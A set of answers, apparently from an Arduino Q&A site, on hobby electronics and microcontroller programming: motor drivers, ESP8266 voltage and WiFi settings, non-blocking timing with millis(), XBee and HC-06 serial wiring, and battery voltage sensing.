1. Choose a smaller motor.  This reduces the overall current needed.  Only feasible if this is a learning project.
2. Choose a beefier H-bridge.  This increases the ratings of the bridge to handle current for this motor.
3. Add a heat-sink to the existing bridge.  This will help dissipate the heat generated.

Generally I'd recommend both 2 and 3, but it depends on your ultimate goal of the project.


I have the same problem using the Arduino IDE 1.5.6 beta.
Adding the library(s) using the menu (Sketch->include library->something) makes it work until the IDE is closed.


Undefined functions send() and receive() on TwoWire/SPI

This is caused by the sketch you downloaded being old.  In prior releases, the methods called send() and receive() were used to send and receive SPI data.  These were renamed to be write() and read().  If you change your code where there are references to Wire.send() and change to Wire.write() and also change Wire.receive() to Wire.read(), you should find that your applications compile and run correctly.


SparkFun ESP8266 find out when on battery power and when charging

You can implement this software if the voltage is different in both cases.

The voltage from the power supply should be higher than the voltage of the battery, but do not exceed the permissible values.

Then you can use ESP.getVcc() :

  ESP.getVcc() may be used to measure supply voltage. ESP needs to
  reconfigure the ADC at startup in order for this feature to be
  available. Add the following line to the top of your sketch to use
  getVcc:

  ADC_MODE(ADC_VCC);

  TOUT pin has to be disconnected in this mode.

  Note that by default ADC is configured to read from TOUT pin using
  analogRead(A0), and ESP.getVCC() is not available.


Please Correct my Delay Code without using delay();

The easiest solution is to just use delay():

if (Serial.read() == 't') {
    delay(3000);
    Serial.println(F("Tare"));
}

What? You said “no delay()”? OK, then just write your own
implementation of delay() and inline it in place of the actual call to
delay():

if (Serial.read() == 't') {
    uint32_t timeNowTare = millis();
    while (millis() - timeNowTare < 3000) continue;  // wait
    Serial.println(F("Tare"));
}

This seems to be more or less what you attempted. You write a while
loop that blocks the program for three seconds. It is also what leoc7's
answer does.

However, doing so is completely foolish. Why would you write your own
version of delay() when the Arduino core provides you with a well
tested one? Why would you want to avoid the standard delay() in the
first place?

It turns out there is a very good reason to avoid delay(). The reason
is that delay() blocks your program for the entire delay duration.
If your code needs to be responsive to some external inputs (as any non
trivial program at some point needs), this means within that time window
the program will be completely unresponsive. The bad thing about
delay() is not the implementation (there is no point in replacing it
with your own), it's the fact that it blocks your program. If you
replace delay() by your own blocking code you have won nothing.

The real solution is to think in terms of a finite state machine. Either
the program is running in “tare mode” or not. The possible state
transitions are:

upon reading a 't' on the serial port, you enter tare mode and take
note of the current time
if you are already in tare mode and three seconds have elapsed since
you entered that mode, then you print out "Tare" and exit tare mode.

Here is a straight forward implementation of such state machine:

static bool tare_mode = false;
static uint32_t tare_start_time;  // meaningful only in tare_mode
if (Serial.read() == 't') {
    tare_mode = true;
    tare_start_time = millis();
}
if (tare_mode && millis() - tare_start_time >= 3000) {
    Serial.println(F("Tare"));
    tare_mode = false;
}

Now you can add more code to loop() and this extra code will never be
blocked by your “tare” feature.


How will Arduino communicate wirelessly through XBee?

Pin 2 & 3 are hardware serial pins.
You can't/shouldn't attach softwareserial pins to them.

In short, your SoftwareSerial XBee is never used and uses the same pins of the hardware serial.

What are you actually trying to achieve? I have a hard time understanding it.
Though. You should first check if your connection is working.

What devices do you have connected to the arduino?

Is it [Arduino] <-> [XBEE] <-> [PC]?

Test your connection using the code below

int incomingByte = 0;   // for incoming serial data

void setup() {
        Serial.begin(9600);     // opens serial port, sets data rate to 9600 bps
}

void loop() {

        // send data only when you receive data:
        if (Serial.available() > 0) {
                // read the incoming byte:
                incomingByte = Serial.read();

                // say what you got:
                Serial.print("I received: ");
                Serial.println(incomingByte, DEC);
        }
}

Source


For the 12 V battery, let's assume it might get up to 15 to 20 V when charging, so we need a voltage divider to divide that down.

The zener diode is there to clamp the input to no more than 5.1 V in case of spikes or other damaging things on the input.

The voltage divider will divide down to 25% of the input, ie.

output = R2 / (R1 + R2) = 10 / (30 + 10) = 0.25

So now if you measure 5 V on the analog input you know you have 20 V on the battery. Thus you can scale your calculations appropriately.

(A more common value would be a 33 k resistor, in which case redo the calculation and scale accordingly).

For 240 V I strongly advise against trying something like that with bigger resistors. For one thing, 240 V RMS will have 240 * sqrt (2) = 340 V peak to peak. And that is both negative and positive.

A suitable approach would be to run through a small transformer, which will reduce the voltage and also isolate you from (almost) certain death.

In addition to that you would need to rectify the resulting voltage (say, 12 V) so that you don't put negative voltages into your input pin. And on top of that filter it so smooth out the peaks and troughs.


How to make procedures triggered remotely

perhaps an array and a loop? (dont have the Arduino IDE atm, so sorry about any typos)

int lights[] = {1, 2, 3, 4, 5, 9, 10};
int count = 7;//because there are 7 items in the array
//

main(){
    for (int i = 0; i < count; i++){
         digitalWrite(lights[i], HIGH);
         delay(1000);
    }
}

EDIT: still no IDE, but here is a little more depth.

forward(true) = forward lights on

forward(false) = forward lights off

reverse(true) = reverse lights on

reverse(false) = reverse lights off

void forward(bool state){
    int lights[] = {1, 2, 3, 4, 5, 6, 9, 10};
    int count = sizeof(lights) / sizeof(lights[0]);

    for (int i = 0; i < count; i++){
        switch (state){

            case true: //turn on
                digitalWrite(lights[i], HIGH);
                break;

            case false: //turn off
                digitalWrite(lights[i], LOW);
                break;
        }
        //delay(1000); //optional delay between lights?
    }
}

void reverse(bool state){
    int lights[] = {3, 4, 5, 6, 7, 8};
    int count = sizeof(lights) / sizeof(lights[0]);

    for (int i = 0; i < count; i++){
        switch (state){

            case true: //turn on
                digitalWrite(lights[i], HIGH);
                break;

            case false: //turn off
                digitalWrite(lights[i], LOW);
                break;
        }
        //delay(1000); //optional delay between lights?
    }
}


My question is regarding disconnection due to failure/ power fail in
  wifi network - when such event happens, does wifi connectivity try to
  reconnect or to over come this possibility

use WiFi.setAutoReconnect(true); when initializing WiFi

other useful option is WiFi.setAutoConnect(). It controls if the esp8266 next time starts the WiFi connection with remembered setting, before your sketch starts.


Converting a char* with numbers to a double is giving me 0.0 in return

The value that was being sent used a comma "," instead of a dot "." that was needed in order to convert the number.


Not sure what all that was but a simple restart of my computer seemed to fix it.


Smallest digital 3-axis gyroscope pcb for arduino?

smallest board is no board.  pick a small BGA or LGA shaped accelerometer and superglue it face down to the arduino board then solder fine wires beween the chip terminals and arduino terminals.

search digikey for 'spi accelerometer'


Can't send SoftwareSerial to Class Object

This is more of a work-around than a solution, but the code you're trying to get to work, worked for me once I changed

wifi.begin(115200);

to

wifi.begin(9600);

(sorry I don't have enough karma to just comment)


If you never want to change the configuration of the module either, then no, you don't need to connect the module's RX pin.

However many people want bi-directional communication. Not only the ability to send a signal to turn the LED on or off, but also the ability to get the current state of the LED - is it on or off?

Or maybe to send an analog reading. Or the data from some sensor.

The HC-06 is a bi-directional module. If you choose to use only one direction then you only need to wire in one direction. However, tie the RX pin to 3.3V with a 10KΩ resistor to stop it floating and consuming extra power or causing random noise to be transmitted to your phone.

In fact, it's just like a phone. You can call someone up and just speak to them without listening to what they are saying. That's fine if all you want to do is call Mom and say "Pick me up in 5 minutes" and hang up. But if you want to ask your Mom "Can you pick me up in 5 minutes?" you have to actually listen for her answer "No, walk home you lazy oik!".